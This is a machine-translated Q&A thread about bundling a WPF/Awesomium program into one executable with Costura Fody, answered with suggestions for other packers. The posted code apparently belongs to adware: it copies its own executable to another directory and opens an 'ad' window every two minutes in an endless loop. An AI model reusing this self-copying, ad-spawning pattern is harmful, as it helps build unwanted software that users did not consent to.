2016-08-15 80 views
0

我想将所有文件打包到一个文件(exe)。我已经使用Costura Fody,全部是okey,程序运行,我看到了我的一个窗口(wpf),但是当我的程序想要打开另一个窗口(OpenWindow())时 - 我没有看到它。将所有文件打包到一个

我试着在我的项目的属性中添加“资源”。

我使用awesomium(webkit for c#),它可以吗?

这里是我的程序代码:

namespace adek 
{ 
    public partial class MainWindow : Window 
    { 
     public MainWindow() 
     { 
      InitializeComponent(); 
      CopyProgram(); 
     } 

     public void SaveVisitor() 
     { 
      //remove for clean 
     } 

     public async Task<int> CheckTime() 
     { 
      while (true) 
      { 
       //remove for clean 
       OpenWindow(); 
       await Task.Delay(120000); 
      } 

      return 1; 
     } 

     public void OpenWindow() 
     { 
      ad win2 = new ad(); 
      win2.RunTask(); 
     } 

     public void CopyProgram() 
     { 
      if (aboutme.DirectoryName == destination) 
      { 
       CheckTime(); 
      } 
      else 
      { 
       SaveVisitor(); 
       CheckTime(); 
       try 
       { 
        File.Copy(me, destination + "\\" + aboutme.Name); 
       } 
       catch { } 
      } 
     } 

     } 
} 

那么,如何使它工作?

感谢您的帮助

回答

1

的awesomium成分肯定会是一个问题,因为它有一个非托管的一部分,我不认为Costura可以利用这个服务。

看看其他解决方案,如BoxedApp PackerEnigma Virtual Box。然而,他们不是免费的产品,我不知道有任何免费的选择。

相关问题